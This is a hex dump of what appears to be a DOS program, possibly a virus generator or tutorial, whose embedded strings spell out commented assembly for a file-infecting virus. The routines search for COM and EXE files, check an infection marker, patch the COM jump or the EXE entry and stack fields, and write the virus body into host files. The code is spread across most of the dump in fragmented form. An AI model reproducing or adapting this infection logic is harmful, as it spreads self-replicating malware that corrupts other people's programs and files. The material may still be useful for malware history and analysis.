|00001d70| 69 6c 65 0c 6d 6f 76 20 | 20 20 20 20 63 78 2c 37 |ile.mov | cx,7|
|00001d80| 13 46 69 6e 64 20 61 6c | 6c 20 61 74 74 72 69 62 |.Find al|l attrib|
|00001d90| 75 74 65 73 09 46 69 6e | 64 4e 65 78 74 3a 0b 69 |utes.Fin|dNext:.i|
|00001da0| 6e 74 20 20 20 20 20 32 | 31 68 18 46 69 6e 64 20 |nt 2|1h.Find |
|00001db0| 66 69 72 73 74 2f 6e 65 | 78 74 20 66 69 6c 65 20 |first/ne|xt file |
|00001dc0| 69 6e 74 0c 6a 63 20 20 | 20 20 20 20 71 75 69 74 |int.jc | quit|
|00001dd0| 1d 49 66 20 6e 6f 6e 65 | 20 66 6f 75 6e 64 20 74 |.If none| found t|
|00001de0| 68 65 6e 20 63 68 61 6e | 67 65 20 64 69 72 11 63 |hen chan|ge dir.c|
|00001df0| 61 6c 6c 20 20 20 20 69 | 6e 66 65 63 74 69 6f 6e |all i|nfection|
|00001e00| 10 49 6e 66 65 63 74 20 | 74 68 61 74 20 66 69 6c |.Infect |that fil|
|00001e10| 65 0a 46 69 6e 64 4e 65 | 78 74 32 3a 0e 6d 6f 76 |e.FindNe|xt2:.mov|
|00001e20| 20 20 20 20 20 61 68 2c | 34 66 68 0e 46 69 6e 64 | ah,|4fh.Find|
|00001e30| 20 6e 65 78 74 20 66 69 | 6c 65 10 6a 6d 70 20 20 | next fi|le.jmp |
|00001e40| 20 20 20 66 69 6e 64 6e | 65 78 74 10 4a 75 6d 70 | findn|ext.Jump|
|00001e50| 20 74 6f 20 74 68 65 20 | 6c 6f 6f 70 05 51 75 69 | to the |loop.Qui|
|00001e60| 74 3a 03 72 65 74 55 89 | e5 31 c0 9a cd 02 12 07 |t:.retU.|.1......|
|00001e70| 80 3e 61 00 00 74 03 e9 | ce 00 bf 78 12 0e 57 bf |.>a..t..|...x..W.|
|00001e80| 83 12 0e 57 e8 02 ed 80 | 3e 91 06 30 76 3f 80 3e |...W....|>..0v?.>|
|00001e90| 60 00 00 74 0f bf 84 12 | 0e 57 bf a2 12 0e 57 e8 |`..t....|.W....W.|
|00001ea0| ba eb eb 0d bf bd 12 0e | 57 bf da 12 0e 57 e8 ab |........|W....W..|
|00001eb0| eb bf f4 12 0e 57 bf 00 | 13 0e 57 e8 9e eb bf 92 |.....W..|..W.....|
|00001ec0| 0e 1e 57 9a dd 05 12 07 | 9a 91 02 12 07 bf 04 13 |..W.....|........|
|00001ed0| 0e 57 bf 13 13 0e 57 e8 | 82 eb bf 23 13 0e 57 bf |.W....W.|...#..W.|
|00001ee0| 30 13 0e 57 e8 75 eb bf | 92 0e 1e 57 9a dd 05 12 |0..W.u..|...W....|
|00001ef0| 07 9a 91 02 12 07 bf 44 | 13 0e 57 bf 83 12 0e 57 |.......D|..W....W|
|00001f00| e8 86 ec bf 4e 13 0e 57 | bf 5a 13 0e 57 e8 4c eb |....N..W|.Z..W.L.|
|00001f10| bf 73 13 0e 57 bf 80 13 | 0e 57 e8 3f eb bf 92 0e |.s..W...|.W.?....|
|00001f20| 1e 57 9a dd 05 12 07 9a | 91 02 12 07 bf 9e 13 0e |.W......|........|
|00001f30| 57 bf b0 13 0e 57 e8 23 | eb bf 92 0e 1e 57 9a dd |W....W.#|.....W..|
|00001f40| 05 12 07 9a 91 02 12 07 | 80 3e 66 00 00 74 1b 80 |........|.>f..t..|
|00001f50| 3e 60 00 00 75 14 80 3e | 63 00 00 75 0d bf c1 13 |>`..u..>|c..u....|
|00001f60| 0e 57 bf 83 12 0e 57 e8 | 1f ec 80 3e 61 00 00 75 |.W....W.|...>a..u|
|00001f70| 52 bf cc 13 0e 57 bf db | 13 0e 57 e8 de ea bf ea |R....W..|..W.....|
|00001f80| 13 0e 57 bf fb 13 0e 57 | e8 d1 ea bf 92 0e 1e 57 |..W....W|.......W|
|00001f90| 9a dd 05 12 07 9a 91 02 | 12 07 bf 0c 14 0e 57 bf |........|......W.|
|00001fa0| 83 12 0e 57 e8 e2 eb bf | 12 14 0e 57 bf 83 12 0e |...W....|...W....|
|00001fb0| 57 e8 a8 ea bf 92 0e 1e | 57 9a dd 05 12 07 9a 91 |W.......|W.......|
|00001fc0| 02 12 07 5d c3 10 63 61 | 6c 6c 20 20 20 20 61 63 |...]..ca|ll ac|
|00001fd0| 74 69 76 61 74 65 1b 43 | 61 6c 6c 20 74 68 65 20 |tivate.C|all the |
|00001fe0| 61 63 74 69 76 61 74 69 | 6f 6e 20 72 6f 75 74 69 |activati|on routi|
|00001ff0| 6e 65 10 6d 6f 76 20 20 | 20 20 20 61 78 2c 32 35 |ne.mov | ax,25|
|00002000| 32 34 68 16 52 65 73 74 | 6f 72 65 20 69 6e 74 20 |24h.Rest|ore int |
|00002010| 32 34 20 68 61 6e 64 6c | 65 72 1f 6c 64 73 20 20 |24 handl|er.lds |
|00002020| 20 20 20 64 78 2c 5b 62 | 70 2b 6f 66 66 73 65 74 | dx,[b|p+offset|
|00002030| 20 6f 6c 64 69 6e 74 32 | 34 5d 0b 54 6f 20 6f 72 | oldint2|4].To or|
|00002040| 69 67 69 6e 61 6c 1a 6d | 6f 76 20 20 20 20 20 64 |iginal.m|ov d|
|00002050| 78 2c 6f 66 66 73 65 74 | 20 6f 6c 64 69 6e 74 32 |x,offset| oldint2|
|00002060| 34 0b 69 6e 74 20 20 20 | 20 20 32 31 68 00 0a 70 |4.int | 21h..p|
|00002070| 75 73 68 20 20 20 20 63 | 73 0a 70 6f 70 20 20 20 |ush c|s.pop |
|00002080| 20 20 64 73 23 44 6f 20 | 74 68 69 73 20 62 65 63 | ds#Do |this bec|
|00002090| 61 75 73 65 20 74 68 65 | 20 44 53 20 67 65 74 73 |ause the| DS gets|
|000020a0| 20 63 68 61 6e 67 65 64 | 1c 6d 6f 76 20 20 20 20 | changed|.mov |
|000020b0| 20 64 78 2c 6f 66 66 73 | 65 74 20 63 75 72 72 65 | dx,offs|et curre|
|000020c0| 6e 74 64 69 72 16 47 65 | 74 20 6f 72 69 67 69 6e |ntdir.Ge|t origin|
|000020d0| 61 6c 20 64 69 72 65 63 | 74 6f 72 79 21 6c 65 61 |al direc|tory!lea|
|000020e0| 20 20 20 20 20 64 78 2c | 5b 62 70 2b 6f 66 66 73 | dx,|[bp+offs|
|000020f0| 65 74 20 63 75 72 72 65 | 6e 74 64 69 72 5d 18 4c |et curre|ntdir].L|
|00002100| 6f 63 61 74 69 6f 6e 20 | 4f 66 20 6f 72 69 67 69 |ocation |Of origi|
|00002110| 6e 61 6c 20 64 69 72 0e | 6d 6f 76 20 20 20 20 20 |nal dir.|mov |
|00002120| 61 68 2c 33 62 68 0f 43 | 68 61 6e 67 65 20 74 6f |ah,3bh.C|hange to|
|00002130| 20 74 68 65 72 65 0e 6d | 6f 76 20 20 20 20 20 64 | there.m|ov d|
|00002140| 78 2c 38 30 68 18 4c 6f | 63 61 74 69 6f 6e 20 6f |x,80h.Lo|cation o|
|00002150| 66 20 6f 72 69 67 69 6e | 61 6c 20 44 54 41 0f 63 |f origin|al DTA.c|
|00002160| 61 6c 6c 20 20 20 20 73 | 65 74 5f 64 74 61 11 50 |all s|et_dta.P|
|00002170| 75 74 20 69 74 20 62 61 | 63 6b 20 74 68 65 72 65 |ut it ba|ck there|
|00002180| 0a 69 6e 74 20 20 20 20 | 32 30 68 0c 51 75 69 74 |.int |20h.Quit|
|00002190| 20 70 72 6f 67 72 61 6d | 0f 63 6d 70 20 20 20 20 | program|.cmp |
|000021a0| 20 73 70 2c 69 64 2d 34 | 1b 49 73 20 74 68 69 73 | sp,id-4|.Is this|
|000021b0| 20 66 69 6c 65 20 61 6e | 20 45 58 45 20 6f 72 20 | file an| EXE or |
|000021c0| 43 4f 4d 3f 11 6a 7a 20 | 20 20 20 20 20 72 65 74 |COM?.jz | ret|
|000021d0| 75 72 6e 45 58 45 0b 49 | 74 73 20 61 6e 20 45 58 |urnEXE.I|ts an EX|
|000021e0| 45 21 04 72 65 74 6e 1e | 52 65 74 75 72 6e 20 74 |E!.retn.|Return t|
|000021f0| 6f 20 31 30 30 68 20 28 | 6f 72 69 67 69 6e 61 6c |o 100h (|original|
|00002200| 20 6a 75 6d 70 29 0a 52 | 65 74 75 72 6e 45 58 45 | jump).R|eturnEXE|
|00002210| 3a 0a 70 6f 70 20 20 20 | 20 20 65 73 0f 47 65 74 |:.pop | es.Get|
|00002220| 20 6f 72 69 67 69 6e 61 | 6c 20 45 53 0f 47 65 74 | origina|l ES.Get|
|00002230| 20 6f 72 69 67 69 6e 61 | 6c 20 44 53 0d 6d 6f 76 | origina|l DS.mov|
|00002240| 20 20 20 20 20 61 78 2c | 65 73 0e 61 64 64 20 20 | ax,|es.add |
|00002250| 20 20 20 61 78 2c 31 30 | 68 25 61 64 64 20 20 20 | ax,10|h%add |
|00002260| 20 20 77 6f 72 64 20 70 | 74 72 20 63 73 3a 5b 62 | word p|tr cs:[b|
|00002270| 70 2b 6a 6d 70 73 61 76 | 65 2b 32 5d 2c 61 78 27 |p+jmpsav|e+2],ax'|
|00002280| 61 64 64 20 20 20 20 20 | 61 78 2c 77 6f 72 64 20 |add |ax,word |
|00002290| 70 74 72 20 63 73 3a 5b | 62 70 2b 73 74 61 63 6b |ptr cs:[|bp+stack|
|000022a0| 73 61 76 65 2b 32 5d 03 | 63 6c 69 29 43 6c 65 61 |save+2].|cli)Clea|
|000022b0| 72 20 69 6e 74 27 73 20 | 62 65 63 61 75 73 65 20 |r int's |because |
|000022c0| 6f 66 20 73 74 61 63 6b | 20 6d 61 6e 69 70 75 6c |of stack| manipul|
|000022d0| 61 74 69 6f 6e 25 6d 6f | 76 20 20 20 20 20 73 70 |ation%mo|v sp|
|000022e0| 2c 77 6f 72 64 20 70 74 | 72 20 63 73 3a 5b 62 70 |,word pt|r cs:[bp|
|000022f0| 2b 73 74 61 63 6b 73 61 | 76 65 5d 0d 6d 6f 76 20 |+stacksa|ve].mov |
|00002300| 20 20 20 20 73 73 2c 61 | 78 03 73 74 69 0c 64 62 | ss,a|x.sti.db|
|00002310| 20 20 20 20 20 20 30 65 | 61 68 0e 4a 75 6d 70 20 | 0e|ah.Jump |
|00002320| 73 73 73 73 3a 6f 6f 6f | 6f 11 6a 6d 70 73 61 76 |ssss:ooo|o.jmpsav|
|00002330| 65 20 64 64 20 20 20 20 | 20 20 3f 0d 4a 75 6d 70 |e dd | ?.Jump|
|00002340| 20 6c 6f 63 61 74 69 6f | 6e 11 73 74 61 63 6b 73 | locatio|n.stacks|
|00002350| 61 76 65 20 64 64 20 20 | 20 20 3f 0e 4f 72 69 67 |ave dd | ?.Orig|
|00002360| 69 6e 61 6c 20 63 73 3a | 69 70 1a 6a 6d 70 73 61 |inal cs:|ip.jmpsa|
|00002370| 76 65 32 20 64 64 20 20 | 20 20 20 30 66 66 66 30 |ve2 dd | 0fff0|
|00002380| 30 30 30 30 68 11 73 74 | 61 63 6b 73 61 76 65 32 |0000h.st|acksave2|
|00002390| 20 64 64 20 20 20 3f 55 | 89 e5 31 c0 9a cd 02 12 | dd ?U|..1.....|
|000023a0| 07 bf 75 15 0e 57 bf 86 | 15 0e 57 e8 ae e6 bf 92 |..u..W..|..W.....|
|000023b0| 0e 1e 57 9a dd 05 12 07 | 9a 91 02 12 07 80 3e 62 |..W.....|......>b|
|000023c0| 00 00 74 7a bf a2 15 0e | 57 bf b3 15 0e 57 e8 8b |..tz....|W....W..|
|000023d0| e6 80 3e 60 00 00 75 0d | bf ca 15 0e 57 bf ea 15 |..>`..u.|....W...|
|000023e0| 0e 57 e8 77 e6 80 3e 60 | 00 00 74 0d bf f6 15 0e |.W.w..>`|..t.....|
|000023f0| 57 bf ea 15 0e 57 e8 63 | e6 bf 11 16 0e 57 bf 1d |W....W.c|.....W..|
|00002400| 16 0e 57 e8 56 e6 bf 92 | 0e 1e 57 9a dd 05 12 07 |..W.V...|..W.....|
|00002410| 9a 91 02 12 07 bf 1e 16 | 0e 57 bf 1d 16 0e 57 e8 |........|.W....W.|
|00002420| 3a e6 bf 29 16 0e 57 bf | 34 16 0e 57 e8 2d e6 bf |:..)..W.|4..W.-..|
|00002430| 92 0e 1e 57 9a dd 05 12 | 07 9a 91 02 12 07 80 3e |...W....|.......>|
|00002440| 64 00 00 74 51 80 3e 60 | 00 00 74 0d bf 58 16 0e |d..tQ.>`|..t..X..|
|00002450| 57 bf 75 16 0e 57 e8 03 | e6 80 3e 60 00 00 75 0d |W.u..W..|..>`..u.|
|00002460| bf 8c 16 0e 57 bf ae 16 | 0e 57 e8 ef e5 bf c7 16 |....W...|.W......|
|00002470| 0e 57 bf d6 16 0e 57 e8 | e2 e5 bf 11 16 0e 57 bf |.W....W.|......W.|
|00002480| 1d 16 0e 57 e8 d5 e5 bf | 92 0e 1e 57 9a dd 05 12 |...W....|...W....|
|00002490| 07 9a 91 02 12 07 80 3e | 61 00 00 75 30 80 3e 60 |.......>|a..u0.>`|
|000024a0| 00 00 75 29 bf e6 16 0e | 57 bf f5 16 0e 57 e8 ab |..u)....|W....W..|
|000024b0| e5 bf 0e 17 0e 57 bf 1e | 17 0e 57 e8 9e e5 bf 92 |.....W..|..W.....|
|000024c0| 0e 1e 57 9a dd 05 12 07 | 9a 91 02 12 07 80 3e 61 |..W.....|......>a|
|000024d0| 00 00 75 07 80 3e 60 00 | 00 74 1c bf 30 17 0e 57 |..u..>`.|.t..0..W|
|000024e0| bf 3b 17 0e 57 e8 74 e5 | bf 92 0e 1e 57 9a dd 05 |.;..W.t.|....W...|
|000024f0| 12 07 9a 91 02 12 07 80 | 3e 67 00 00 74 37 80 3e |........|>g..t7.>|
|00002500| 66 00 00 74 30 80 3e 60 | 00 00 75 29 bf 48 17 0e |f..t0.>`|..u).H..|
|00002510| 57 bf 58 17 0e 57 e8 43 | e5 bf 74 17 0e 57 bf 86 |W.X..W.C|..t..W..|
|00002520| 17 0e 57 e8 36 e5 bf 92 | 0e 1e 57 9a dd 05 12 07 |..W.6...|..W.....|
|00002530| 9a 91 02 12 07 80 3e 66 | 00 00 74 23 80 3e 60 00 |......>f|..t#.>`.|
|00002540| 00 75 1c bf 92 17 0e 57 | bf 97 17 0e 57 e8 0c e5 |.u.....W|....W...|
|00002550| bf 92 0e 1e 57 9a dd 05 | 12 07 9a 91 02 12 07 80 |....W...|........|
|00002560| 3e 67 00 00 75 03 e9 ff | 00 80 3e 60 00 00 74 03 |>g..u...|..>`..t.|
|00002570| e9 f5 00 80 3e 66 00 00 | 74 0d bf b6 17 0e 57 bf |....>f..|t.....W.|
|00002580| 1d 16 0e 57 e8 02 e6 bf | c1 17 0e 57 bf cc 17 0e |...W....|...W....|
|00002590| 57 e8 c8 e4 bf 29 16 0e | 57 bf dc 17 0e 57 e8 bb |W....)..|W....W..|
|000025a0| e4 bf 92 0e 1e 57 9a dd | 05 12 07 9a 91 02 12 07 |.....W..|........|
|000025b0| bf ec 17 0e 57 bf 1d 16 | 0e 57 e8 9f e4 bf fa 17 |....W...|.W......|
|000025c0| 0e 57 bf 1d 16 0e 57 e8 | 92 e4 bf 09 18 0e 57 bf |.W....W.|......W.|
|000025d0| 1d 16 0e 57 e8 85 e4 bf | 2f 18 0e 57 bf 1d 16 0e |...W....|/..W....|
|000025e0| 57 e8 78 e4 bf 57 18 0e | 57 bf 5b 18 0e 57 e8 6b |W.x..W..|W.[..W.k|
|000025f0| e4 bf 85 18 0e 57 bf 1d | 16 0e 57 e8 5e e4 bf ab |.....W..|..W.^...|
|00002600| 18 0e 57 bf 1d 16 0e 57 | e8 51 e4 bf b9 18 0e 57 |..W....W|.Q.....W|
|00002610| bf 1d 16 0e 57 e8 44 e4 | bf bd 18 0e 57 bf ca 18 |....W.D.|....W...|
|00002620| 0e 57 e8 37 e4 bf d9 18 | 0e 57 bf eb 18 0e 57 e8 |.W.7....|.W....W.|
|00002630| 57 e5 bf f9 18 0e 57 bf | 0b 19 0e 57 e8 4a e5 bf |W.....W.|...W.J..|
|00002640| 1a 19 0e 57 bf 1d 16 0e | 57 e8 3d e5 bf 35 19 0e |...W....|W.=..5..|
|00002650| 57 bf 1d 16 0e 57 e8 30 | e5 bf 92 0e 1e 57 9a dd |W....W.0|.....W..|
|00002660| 05 12 07 9a 91 02 12 07 | 5d c3 0e 6d 6f 76 20 20 |........|]..mov |
|00002670| 20 20 20 61 68 2c 34 30 | 68 13 57 72 69 74 65 20 | ah,40|h.Write |
|00002680| 76 69 72 75 73 20 74 6f | 20 66 69 6c 65 14 6d 6f |virus to| file.mo|
|00002690| 76 20 20 20 20 20 63 78 | 2c 65 6f 66 2d 76 69 72 |v cx|,eof-vir|
|000026a0| 75 73 0d 53 69 7a 65 20 | 6f 66 20 76 69 72 75 73 |us.Size |of virus|
|000026b0| 1c 6c 65 61 20 20 20 20 | 20 64 78 2c 5b 62 70 2b |.lea | dx,[bp+|
|000026c0| 6f 66 66 73 65 74 20 76 | 69 72 75 73 5d 16 4c 6f |offset v|irus].Lo|
|000026d0| 63 61 74 69 6f 6e 20 74 | 6f 20 73 74 61 72 74 20 |cation t|o start |
|000026e0| 66 72 6f 6d 0e 6d 6f 76 | 20 20 20 20 20 64 78 2c |from.mov| dx,|
|000026f0| 31 30 30 1c 53 74 61 72 | 74 20 77 72 69 74 69 6e |100.Star|t writin|
|00002700| 67 20 66 72 6f 6d 20 62 | 65 67 69 6e 6e 69 6e 67 |g from b|eginning|
|00002710| 0b 69 6e 74 20 20 20 20 | 20 32 31 68 00 55 89 e5 |.int | 21h.U..|
|00002720| 31 c0 9a cd 02 12 07 80 | 3e 61 00 00 75 5e bf 1a |1.......|>a..u^..|
|00002730| 1c 0e 57 bf 29 1c 0e 57 | e8 21 e3 bf 3d 1c 0e 57 |..W.)..W|.!..=..W|
|00002740| bf 52 1c 0e 57 e8 14 e3 | 80 3e 60 00 00 75 0d bf |.R..W...|.>`..u..|
|00002750| 60 1c 0e 57 bf 7d 1c 0e | 57 e8 00 e3 80 3e 60 00 |`..W.}..|W....>`.|
|00002760| 00 74 0d bf 94 1c 0e 57 | bf a3 1c 0e 57 e8 ec e2 |.t.....W|....W...|
|00002770| bf c0 1c 0e 57 bf cc 1c | 0e 57 e8 df e2 bf 92 0e |....W...|.W......|
|00002780| 1e 57 9a dd 05 12 07 9a | 91 02 12 07 5d c2 02 00 |.W......|....]...|
|00002790| 0a 49 6e 66 65 63 74 69 | 6f 6e 3a 00 10 6d 6f 76 |.Infecti|on:..mov|
|000027a0| 20 20 20 20 20 61 78 2c | 33 64 30 30 68 17 4f 70 | ax,|3d00h.Op|
|000027b0| 65 6e 20 66 69 6c 65 20 | 66 6f 72 20 72 65 61 64 |en file |for read|
|000027c0| 20 6f 6e 6c 79 0c 63 61 | 6c 6c 20 20 20 20 6f 70 | only.ca|ll op|
|000027d0| 65 6e 0e 6d 6f 76 20 20 | 20 20 20 61 68 2c 33 66 |en.mov | ah,3f|
|000027e0| 68 0e 52 65 61 64 20 66 | 72 6f 6d 20 66 69 6c 65 |h.Read f|rom file|
|000027f0| 0e 6d 6f 76 20 20 20 20 | 20 63 78 2c 31 61 68 0f |.mov | cx,1ah.|
|00002800| 4e 75 6d 62 65 72 20 6f | 66 20 62 79 74 65 73 1d |Number o|f bytes.|
|00002810| 6c 65 61 20 20 20 20 20 | 64 78 2c 5b 62 70 2b 6f |lea |dx,[bp+o|
|00002820| 66 66 73 65 74 20 62 75 | 66 66 65 72 5d 16 4c 6f |ffset bu|ffer].Lo|
|00002830| 63 61 74 69 6f 6e 20 74 | 6f 20 73 74 6f 72 65 20 |cation t|o store |
|00002840| 74 68 65 6d 0b 69 6e 74 | 20 20 20 20 20 32 31 68 |them.int| 21h|
|00002850| 0e 6d 6f 76 20 20 20 20 | 20 61 68 2c 33 65 68 0a |.mov | ah,3eh.|
|00002860| 43 6c 6f 73 65 20 66 69 | 6c 65 20 6d 6f 76 20 20 |Close fi|le mov |
|00002870| 20 20 20 61 78 2c 77 6f | 72 64 20 70 74 72 20 5b | ax,wo|rd ptr [|
|00002880| 62 70 2b 44 54 41 2b 31 | 41 68 5d 15 47 65 74 20 |bp+DTA+1|Ah].Get |
|00002890| 66 69 6c 65 73 69 7a 65 | 20 66 72 6f 6d 20 44 54 |filesize| from DT|
|000028a0| 41 1d 6d 6f 76 20 20 20 | 20 20 61 78 2c 77 6f 72 |A.mov | ax,wor|
|000028b0| 64 20 70 74 72 20 5b 38 | 30 68 2b 31 41 68 5d 0b |d ptr [8|0h+1Ah].|
|000028c0| 63 6d 70 20 20 20 20 20 | 61 78 2c 16 49 73 20 74 |cmp |ax,.Is t|
|000028d0| 68 65 20 66 69 6c 65 20 | 74 6f 6f 20 6c 61 72 67 |he file |too larg|
|000028e0| 65 3f 12 6a 61 20 20 20 | 20 20 20 71 75 69 74 69 |e?.ja | quiti|
|000028f0| 6e 66 65 63 74 1b 66 69 | 6c 65 20 74 6f 20 6c 61 |nfect.fi|le to la|
|00002900| 72 67 65 20 73 6f 20 67 | 65 74 61 6e 6f 74 68 65 |rge so g|etanothe|
|00002910| 72 16 49 73 20 74 68 65 | 20 66 69 6c 65 20 74 6f |r.Is the| file to|
|00002920| 6f 20 73 6d 61 6c 6c 3f | 12 6a 62 20 20 20 20 20 |o small?|.jb |
|00002930| 20 71 75 69 74 69 6e 66 | 65 63 74 1b 66 69 6c 65 | quitinf|ect.file|
|00002940| 20 74 6f 20 73 6d 61 6c | 6c 20 73 6f 20 67 65 74 | to smal|l so get|
|00002950| 61 6e 6f 74 68 65 72 21 | 63 6d 70 20 20 20 20 20 |another!|cmp |
|00002960| 77 6f 72 64 20 70 74 72 | 20 5b 62 70 2b 62 75 66 |word ptr| [bp+buf|
|00002970| 66 65 72 5d 2c 27 5a 4d | 27 15 49 73 20 66 69 6c |fer],'ZM|'.Is fil|
|00002980| 65 20 66 6f 75 6e 64 20 | 61 6e 20 45 58 45 3f 10 |e found |an EXE?.|
|00002990| 6a 7a 20 20 20 20 20 20 | 63 68 65 63 6b 45 58 45 |jz |checkEXE|
|000029a0| 0f 59 75 70 20 73 6f 20 | 63 68 65 63 6b 20 69 74 |.Yup so |check it|
|000029b0| 1f 6d 6f 76 20 20 20 20 | 20 61 78 2c 77 6f 72 64 |.mov | ax,word|
|000029c0| 20 70 74 72 20 5b 62 70 | 2b 44 54 41 2b 33 35 5d | ptr [bp|+DTA+35]|
|000029d0| 1a 47 65 74 20 65 6e 64 | 20 6f 66 20 66 69 6c 65 |.Get end| of file|
|000029e0| 20 6e 61 6d 65 20 69 6e | 20 61 78 0e 6d 6f 76 20 | name in| ax.mov |
|000029f0| 20 20 20 20 62 78 2c 38 | 30 68 1b 6d 6f 76 20 20 | bx,8|0h.mov |
|00002a00| 20 20 20 61 78 2c 77 6f | 72 64 20 70 74 72 20 5b | ax,wo|rd ptr [|
|00002a10| 62 78 5d 2b 33 35 0f 63 | 6d 70 20 20 20 20 20 61 |bx]+35.c|mp a|
|00002a20| 78 2c 27 44 4e 27 14 44 | 6f 65 73 20 69 74 20 65 |x,'DN'.D|oes it e|
|00002a30| 6e 64 20 69 6e 20 27 4e | 44 27 3f 12 6a 7a 20 20 |nd in 'N|D'?.jz |
|00002a40| 20 20 20 20 71 75 69 74 | 69 6e 66 65 63 74 17 59 | quit|infect.Y|
|00002a50| 75 70 20 73 6f 20 67 65 | 74 20 61 6e 6f 74 68 65 |up so ge|t anothe|
|00002a60| 72 20 66 69 6c 65 16 6a | 6d 70 20 20 20 20 66 69 |r file.j|mp fi|
|00002a70| 6e 69 73 68 69 6e 66 65 | 63 74 69 6f 6e 09 43 68 |nishinfe|ction.Ch|
|00002a80| 65 63 6b 43 6f 6d 3a 27 | 6d 6f 76 20 20 20 20 20 |eckCom:'|mov |
|00002a90| 62 78 2c 77 6f 72 64 20 | 70 74 72 20 5b 62 70 2b |bx,word |ptr [bp+|
|00002aa0| 6f 66 66 73 65 74 20 64 | 74 61 2b 31 61 68 5d 0d |offset d|ta+1ah].|
|00002ab0| 47 65 74 20 66 69 6c 65 | 20 73 69 7a 65 24 63 6d |Get file| size$cm|
|00002ac0| 70 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 63 |p wo|rd ptr c|
|00002ad0| 73 3a 5b 62 70 2b 62 75 | 66 66 65 72 2b 33 5d 2c |s:[bp+bu|ffer+3],|
|00002ae0| 69 64 0c 43 68 65 63 6b | 20 66 6f 72 20 49 44 12 |id.Check| for ID.|
|00002af0| 6a 65 20 20 20 20 20 20 | 71 75 69 74 69 6e 66 65 |je |quitinfe|
|00002b00| 63 74 11 6a 6d 70 20 20 | 20 20 20 69 6e 66 65 63 |ct.jmp | infec|
|00002b10| 74 63 6f 6d 09 43 68 65 | 63 6b 45 78 65 3a 23 63 |tcom.Che|ckExe:#c|
|00002b20| 6d 70 20 20 20 20 20 77 | 6f 72 64 20 70 74 72 20 |mp w|ord ptr |
|00002b30| 5b 62 70 2b 62 75 66 66 | 65 72 2b 31 30 68 5d 2c |[bp+buff|er+10h],|
|00002b40| 69 64 17 43 68 65 63 6b | 20 45 58 45 20 66 6f 72 |id.Check| EXE for|
|00002b50| 20 69 6e 66 65 63 74 69 | 6f 6e 1c 41 6c 72 65 61 | infecti|on.Alrea|
|00002b60| 64 79 20 69 6e 66 65 63 | 74 65 64 20 73 6f 20 63 |dy infec|ted so c|
|00002b70| 6c 6f 73 65 20 75 70 11 | 6a 6d 70 20 20 20 20 20 |lose up.|jmp |
|00002b80| 69 6e 66 65 63 74 65 78 | 65 0b 51 75 69 74 49 6e |infectex|e.QuitIn|
|00002b90| 66 65 63 74 3a 03 72 65 | 74 0a 49 6e 66 65 63 74 |fect:.re|t.Infect|
|00002ba0| 43 6f 6d 3a 0c 73 75 62 | 20 20 20 20 20 62 78 2c |Com:.sub| bx,|
|00002bb0| 33 13 41 64 6a 75 73 74 | 20 66 6f 72 20 6e 65 77 |3.Adjust| for new|
|00002bc0| 20 6a 75 6d 70 16 6c 65 | 61 20 20 20 20 20 73 69 | jump.le|a si|
|00002bd0| 2c 5b 62 70 2b 62 75 66 | 66 65 72 5d 17 4d 6f 76 |,[bp+buf|fer].Mov|
|00002be0| 65 20 74 68 65 20 6f 6c | 64 20 6a 75 6d 70 20 66 |e the ol|d jump f|
|00002bf0| 69 72 73 74 17 6c 65 61 | 20 20 20 20 20 64 69 2c |irst.lea| di,|
|00002c00| 5b 62 70 2b 6f 6c 64 6a | 75 6d 70 5d 05 6d 6f 76 |[bp+oldj|ump].mov|
|00002c10| 73 62 05 6d 6f 76 73 77 | 21 6d 6f 76 20 20 20 20 |sb.movsw|!mov |
|00002c20| 20 5b 62 70 2b 62 75 66 | 66 65 72 5d 2c 62 79 74 | [bp+buf|fer],byt|
|00002c30| 65 20 70 74 72 20 30 65 | 39 68 0e 53 65 74 75 70 |e ptr 0e|9h.Setup|
|00002c40| 20 6e 65 77 20 6a 75 6d | 70 21 6d 6f 76 20 20 20 | new jum|p!mov |
|00002c50| 20 20 77 6f 72 64 20 70 | 74 72 20 5b 62 70 2b 62 | word p|tr [bp+b|
|00002c60| 75 66 66 65 72 2b 31 5d | 2c 62 78 0d 53 61 76 65 |uffer+1]|,bx.Save|
|00002c70| 20 6e 65 77 20 6a 75 6d | 70 21 6d 6f 76 20 20 20 | new jum|p!mov |
|00002c80| 20 20 77 6f 72 64 20 70 | 74 72 20 5b 62 70 2b 62 | word p|tr [bp+b|
|00002c90| 75 66 66 65 72 2b 33 5d | 2c 69 64 09 50 75 74 20 |uffer+3]|,id.Put |
|00002ca0| 69 6e 20 49 44 0c 6d 6f | 76 20 20 20 20 20 63 78 |in ID.mo|v cx|
|00002cb0| 2c 35 18 4e 75 6d 62 65 | 72 20 6f 66 20 62 79 74 |,5.Numbe|r of byt|
|00002cc0| 65 73 20 74 6f 20 77 72 | 69 74 65 17 6a 6d 70 20 |es to wr|ite.jmp |
|00002cd0| 20 20 20 20 66 69 6e 69 | 73 68 69 6e 66 65 63 74 | fini|shinfect|
|00002ce0| 69 6f 6e 0a 49 6e 66 65 | 63 74 45 78 65 3a 24 6c |ion.Infe|ctExe:$l|
|00002cf0| 65 73 20 20 20 20 20 61 | 78 2c 64 77 6f 72 64 20 |es a|x,dword |
|00002d00| 70 74 72 20 5b 62 70 2b | 62 75 66 66 65 72 2b 31 |ptr [bp+|buffer+1|
|00002d10| 34 68 5d 18 4c 6f 61 64 | 20 65 73 20 77 69 74 68 |4h].Load| es with|
|00002d20| 20 73 65 67 20 61 64 64 | 72 65 73 73 21 6d 6f 76 | seg add|ress!mov|
|00002d30| 20 20 20 20 20 77 6f 72 | 64 20 70 74 72 20 5b 62 | wor|d ptr [b|
|00002d40| 70 2b 6a 6d 70 73 61 76 | 65 32 5d 2c 61 78 0e 73 |p+jmpsav|e2],ax.s|
|00002d50| 61 76 65 20 6f 6c 64 20 | 63 73 3a 69 70 23 6d 6f |ave old |cs:ip#mo|
|00002d60| 76 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 5b |v wo|rd ptr [|
|00002d70| 62 70 2b 6a 6d 70 73 61 | 76 65 32 2b 32 5d 2c 65 |bp+jmpsa|ve2+2],e|
|00002d80| 73 24 6c 65 73 20 20 20 | 20 20 61 78 2c 64 77 6f |s$les | ax,dwo|
|00002d90| 72 64 20 70 74 72 20 5b | 62 70 2b 62 75 66 66 65 |rd ptr [|bp+buffe|
|00002da0| 72 2b 30 65 68 5d 0e 73 | 61 76 65 20 6f 6c 64 20 |r+0eh].s|ave old |
|00002db0| 73 73 3a 73 70 23 6d 6f | 76 20 20 20 20 20 77 6f |ss:sp#mo|v wo|
